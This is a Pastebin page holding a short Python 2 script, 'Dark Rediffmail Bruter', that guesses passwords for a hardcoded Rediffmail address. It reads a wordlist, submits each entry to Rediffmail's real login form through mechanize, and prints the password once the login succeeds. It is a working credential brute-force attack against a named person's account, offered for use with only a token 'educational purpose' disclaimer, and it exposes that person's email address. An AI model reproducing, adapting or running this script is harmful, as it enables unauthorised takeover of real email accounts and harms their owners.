Advertisement
Guest User

Rediffmail Account Brute Script

a guest
Jun 18th, 2015
2,181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.72 KB | None | 0 0
  1. import mechanize
  2. import cookielib
  3. import sys
  4. email = "k.jaiswani@rediffmail.com";
  5. wordlist = "wordlist.txt";
  6. url = "https://mail.rediff.com/cgi-bin/login.cgi";
  7. print """
  8.  Dark Rediffmail Bruter Script.
  9.  Written By : Tanmay Upadhyay [ India ]
  10.  Email : kevinmetnik606@gmail.com
  11.  
  12.  [WARNING] Only for educational purpose dont use it for hacking purpose.
  13. \n
  14. """
  15. def _brute_():
  16.  
  17.  if(email == ""):
  18.     print "\n\t[Error] Sorry we cant able to find email to attack.";
  19.     sys.exit(1);
  20.  br = mechanize.Browser();
  21.  cj = cookielib.CookieJar();
  22.  br.set_cookiejar(cj);
  23.  br.set_handle_robots(False);
  24.  br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time = 1);
  25.  br.set_handle_referer(True);
  26.  f = open(wordlist,'r');
  27.  data = f.readlines();
  28.  data_len = len(data);
  29.  br.open(url);
  30.  print "[+] Wordlist contain max [ %s ] words."%data_len;
  31.  print "[!] Connected to Rediffmail server.";
  32.  print "[!] Starting attack against [ %s ]"%email
  33.  print "\n\tStarting a wordlist attack.....";
  34.  print "\n";
  35.  for pas in data:
  36.      pas = pas.replace("\n","");
  37.      br.select_form(name="loginform");
  38.      br.form['login'] = email;
  39.      br.form['passwd'] = pas;
  40.      br.submit();
  41.      if(br.geturl() == url):
  42.         print "[error] password %s in not correct."%pas;
  43.      else:
  44.         print "[success] correct password found.";
  45.         print "\n\tEmail => %s \n\tPassword => %s"%(email,pas);
  46.         print "\n"
  47.         br.close();
  48.         sys.exit(1);
  49. try:
  50.     _brute_();
  51. except KeyboardInterrupt:
  52.     print "\n\t[+] Operation Cancelled by Attacker [ Ctrl + C ] Pressed.";
  53.     sys.exit(1);
  54. except IOError:
  55.     print "\n\t[Error] Unable to locate or open wordlist file.";
  56.     print "\n";
  57.     sys.exit(1);
  58. except:
  59.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement